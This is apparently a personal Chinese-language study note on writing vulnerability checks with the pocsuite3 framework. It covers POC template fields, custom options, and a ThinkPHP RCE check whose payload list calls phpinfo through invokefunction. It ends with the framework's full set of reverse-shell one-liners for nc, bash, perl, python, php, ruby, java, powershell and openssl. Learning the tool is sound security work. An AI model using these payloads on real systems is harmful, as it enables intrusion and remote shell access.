✋这里记录一写关于pocsuite的使用方法,还有一些在使用时的小tips,用到什么记录什么
仅为自己使用时查阅,非使用文档❌
🤦♂️关于刚开始看的时候的感觉:(满脸问号)这是什么意思
官方文档:https://pocsuite.org/guide/parameter-pocsuite.html
项目基本结构
pocsuite提供POC,在<font style="color:#E8323C;">pocsuite/pocs</font>目录下

关于poc加载,官方文档很清楚。
使用的是-r参数来加载poc,而且-r参数默认的加载目录是pocsuite/pocs
data目录下是字典文件
POC编写
编写POC的时候,也就是POC开发。首先pocsuite会有一个自己的模板。使用命令可以直接生成模板,然后只需要根据已知的payload进行填充和修改,即可完成poc编写。
pocsuite --new

默认选择(一直敲回车)即可
最后在执行命令的目录下生成一个以当前日期命名模板文件。
现在来看看它文件中的内容吧。
from pocsuite3.api import (minimum_version_required, POCBase, register_poc, requests, logger,OptString, OrderedDict,random_str,)
先导入了一些依赖包
minimum_version_required:最低版本需求

POCBase:继承自POCBase类

然后就是一些信息的填充
vulID = '99335' # Seebug 漏洞收录 ID,如果没有则为 0version = '1' # PoC 的版本,默认为 1author = 'seebug' # PoC 的作者vulDate = '2021-8-18' # 漏洞公开日期 (%Y-%m-%d)createDate = '2021-8-20' # PoC 编写日期 (%Y-%m-%d)updateDate = '2021-8-20' # PoC 更新日期 (%Y-%m-%d)references = ['https://www.seebug.org/vuldb/ssvid-99335'] # 漏洞来源地址,0day 不用写name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)' # PoC 名称,建议命令方式:<厂商> <组件> <版本> <漏洞类型> <cve编号>appPowerLink = 'https://www.fortinet.com' # 漏洞厂商主页地址appName = 'FortiWeb' # 漏洞应用名称appVersion = '<=6.4.0' # 漏洞影响版本vulType = 'Code Execution' # 漏洞类型,参见漏洞类型规范表desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入' # 漏洞简要描述samples = ['http://192.168.1.1'] # 测试样列,就是用 PoC 测试成功的目标install_requires = ['BeautifulSoup4:bs4'] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写pocDesc = ''' poc的用法描述 '''dork = {'zoomeye': 'deviceState.admin.hostname'} # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";''' # 请求流量 suricata 规则suricata_response = '' # 响应流量 suricata 规则
自定义命令行参数
编写_option()方法,自定义在attack模式时需要使用的参数
def _options(self):o = OrderedDict()o['param'] = OptString('', description='The param')return o
这是原来模板固定的样子,修改
def _options(self):o = OrderedDict()o['cmd'] = OptString('uname -a', description='The command to execute')return o
自定义命令的形式就是这样的
<font style="color:#E8323C;">o['自定义参数名'] = OptString('执行的命令', descrition='描述')</font>
可以同时定义多个
def _options(self):o = OrderedDict()o['cmd'] = OptString('uname -a', description='The command to execute')o['username'] = OptString('admin', description='login with username')o['password'] = OptString('123456', description='login with password')return o
调用自定义的参数
在调用前,如果已经定义了自定义参数,那么怎么查看:
pocsuite -r xxx_xxx_cve_20xx_xxx_xxx.py --options
将显示自定义的参数。

如果是命令行中使用的话,使用方法为
pocsuite -r xxx_xxx_cve_20xx_xxx_xxx.py --username admin --password 123456 -u 127.0.0.1
注意:这里的参数,可以执行也可以不指定,指定了就像上面这样执行的话,是可以指定任何不同的参数,如果不指定参数,那么默认参数就是定义时的初始参数。
这是一种调用方式,另一种则是在脚本内调用,是在文件内函数中进行调用,就不在命令行中使用了。
在这里使用的话,需要使用到一个函数get_option()
def getp_option(self, name):if name not in self.payload_options:raise PocsuiteValidationExceptionreturn self.payload_options[name].value
调用方式为
def _attack(self):result = {}# self.get_option() 方法可以获取自定义的命令行参数param = self.get_option('cmd')res = self._exploit(param)result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo'][param] = res# 统一调用 self.parse_output() 返回结果return self.parse_output(result)
编写关键方法
_exploit()主要是漏洞细节
def _exploit(self, param=''):if not self._check(dork=''):return Falseheaders = {'Content-Type': 'application/x-www-form-urlencoded'}payload = 'a=b'res = requests.post(self.url, headers=headers, data=payload)logger.debug(res.text)return res.text
有的不需要写这个,而是_check()
def _check(self, url):flag = 'Registered PHP Streams'data = OrderedDict([("function", "call_user_func_array"),("vars[0]", "phpinfo"),("vars[1][]", "-1")])payloads = [r"/?s=admin/\think\app/invokefunction",r"/admin.php?s=admin/\think\app/invokefunction",r"/index.php?s=admin/\think\app/invokefunction",r"/?s=index/\think\Container/invokefunction",r"/index.php?s=index/\think\Container/invokefunction",r"/index.php?s=index/\think\app/invokefunction"]for payload in payloads:vul_url = url + payloadr = requests.post(vul_url, data=data)if flag in r.text:return payload, dict(data)return False
以上两个方法都是起到一个重复验证的过程,比如说三种模式,verify/attack/shell都需要调用这个方法。
比如说:我要写个thinkphp_rce的POC脚本,那么我需要知道我用到的payload是什么
无论是验证,还是攻击,都需要先得到这个payload我才可以继续进行下一步。所以这里我就写一个方法,是可以得到这个payload,然后我在使用的时候直接调用一下这个方法,就不需要再次写多余的代码去得到payload了。也是很好理解。方便嘛!
模块介绍
VUL_TYPE
模块的导入方法:<font style="color:#E8323C;">from pocsuite3.api import VUL_TYPE</font>
在编写POC的时候调用:
vulType = VUL_TYPE.CODE_EXECUTION
可以不用自己写这个漏洞是个什么类型的了,下面是常用的,(太多了,就没弄完,无伤大雅)
BACKDOOR = 'Backdoor' # 后门INSECURE_COOKIE_HANDLING = 'Insecure Cookie Handling' # Cookie验证错误CSRF = 'CSRF' # CSRFXSS = 'XSS' # XSSUXSS = 'UXSS' # 通用跨站脚本攻击(估计是跟XSS一类的,没用到过)SSRF = 'Server-Side Request Forgery' # SSRFSHELLCODE = 'ShellCode' # ShellCodeSQL_INJECTION = 'SQL Injection' # SQL注入ARBITRARY_FILE_DOWNLOAD = 'Arbitrary File Download' # 任意文件下载ARBITRARY_FILE_CREATION = 'Arbitrary File Creation' # 任意文件写入ARBITRARY_FILE_DELETION = 'Arbitrary File Deletion' # 任意文件删除ARBITRARY_FILE_READ = 'Arbitrary File Read' # 任意文件读取OTHER = 'Other' # 其他VARIABLE_COVERAGE = 'Variable Coverage' # 变量覆盖COMMAND_EXECUTION = 'Command Execution' # 命令执行INJECTING_MALWARE_CODES = 'Injecting Malware Codes' # 恶意代码注入WEAK_PASSWORD = 'Weak Password' # 弱口令DENIAL_OF_SERVICE = 'Denial Of service' # 拒绝服务攻击(DDOS)DATABASE_FOUND = 'Database Found' # (翻译不出)UPLOAD_FILES = 'Upload Files' # 文件上传LOCAL_OVERFLOW = 'Local Overflow' # 本地溢出(没见过,是二进制漏洞嘛?)PRIVILEGE_ESCALATION = 'Privilege Escalation' # 提权INFORMATION_DISCLOSURE = 'Information Disclosure' # 信息泄露LOGIN_BYPASS = 'Login Bypass' # 登录绕过PATH_TRAVERSAL = 'Path Traversal' # 目录遍历RESOLVE_ERROR = 'Resolve Error' # 错误解决?(待议)UNAUTHORIZED_ACCESS = 'Unauthorized Access' # 未授权访问PATH_DISCLOSURE = 'Path Disclosure' # 目录信息泄露CODE_EXECUTION = 'Code Execution' # 代码执行REMOTE_PASSWORD_CHANGE = 'Remote Password Change' # 远程密码修改REMOTE_OVERFLOW = 'Remote Overflow' # 远程溢出(没见过)DIRECTORY_LISTING = 'Directory Listing' # 目录相关漏洞NULL_BYTE_INJECTION = 'Null Byte Injection' # 空字符注入MAN_IN_THE_MIDDLE = 'Man-in-the-middle'FORMAT_STRING = 'Format String'BUFFER_OVERFLOW = 'Buffer Overflow'CRLF_INJECTION = 'CRLF Injection'XML_INJECTION = 'XML Injection' # XML注入LOCAL_FILE_INCLUSION = 'Local File Inclusion' # 本地文件包含REMOTE_FILE_INCLUSION = 'Remote File Inclusion' # 远程文件包含CREDENTIAL_PREDICTION = 'Credential Prediction'HTTP_PARAMETER_POLLUTION = 'HTTP Parameter Pollution'HTTP_REQUEST_SPLITTING = 'HTTP Request Splitting'HTTP_RESPONSE_SPLITTING = 'HTTP Response Splitting'HTTP_RESPONSE_SMUGGLING = 'HTTP Response Smuggling'HTTP_REQUEST_SMUGGLING = 'HTTP Request Smuggling'SSI_INJECTION = 'SSI Injection' # SSI注入OUT_OF_MEMORY = 'Out of Memory'INTEGER_OVERFLOWS = 'Integer Overflows'CONTENT_SPOOFING = 'Content Spoofing'XQUERY_INJECTION = 'XQuery Injection'BUFFER_OVER_READ = 'Buffer Over-read'BRUTE_FORCE = 'Brute Force' # 暴力破解LDAP_INJECTION = 'LDAP Injection' # LDAP注入SECURITY_MODE_BYPASS = 'Security Mode Bypass'BACKUP_FILE_FOUND = 'Backup File Found' # 备份文件XPATH_INJECTION = 'XPath Injection'URL_REDIRECTOR_ABUSE = 'URL Redirector Abuse'CODE_DISCLOSURE = 'Code Disclosure'USE_AFTER_FREE = 'Use After Free'DNS_HIJACKING = 'DNS Hijacking'IMPROPER_INPUT_VALIDATION = 'Improper Input Validation'UAF = 'Use After Free'
REVERSE_PAYLOAD
反弹shell的payload
这里集成了很多的弹shell的payload,无论是bash的还是java/php/python/nc/powershell
都可以直接调用,而不需要再去找payload写上去了。很方便!
class REVERSE_PAYLOAD:NC = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f"""NC2 = """nc -e /bin/sh {0} {1}"""NC3 = """rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p"""BASH0 = """sh -i >& /dev/tcp/{0}/{1} 0>&1"""BASH = """bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'"""BASH2 = """bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'"""TELNET = """rm -f /tmp/p; mknod /tmp/p p && telnet {0} {1} 0/tmp/p"""PERL = ("""perl -e 'use Socket;$i="{0}";$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));""""""if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");""""""open(STDERR,">&S");exec("/bin/sh -i");}};'""")PYTHON = ("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);""""""s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);""""""p=subprocess.call(["/bin/sh","-i"]);'""")PHP = """php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'"""RUBY = """ruby -rsocket -e'f=TCPSocket.open("{0}",{1}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'"""JAVA = ('r = Runtime.getRuntime()\n''p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{0}/{1};cat <&5 | ''while read line; do $line 2>&5 >&5; done"] as String[])\n''p.waitFor()')POWERSHELL = ('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});$stream = $client.GetStream();''''''[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)''''''{{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);''''''$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';''''''$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);''''''$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()''')OPENSSL = ('rm -rf /tmp/s;mkfifo /tmp/s||mknod /tmp/s p;''/bin/sh -i </tmp/s 2>&1|openssl s_client -quiet -connect {0}:{1}>/tmp/s;''rm -rf /tmp/s')
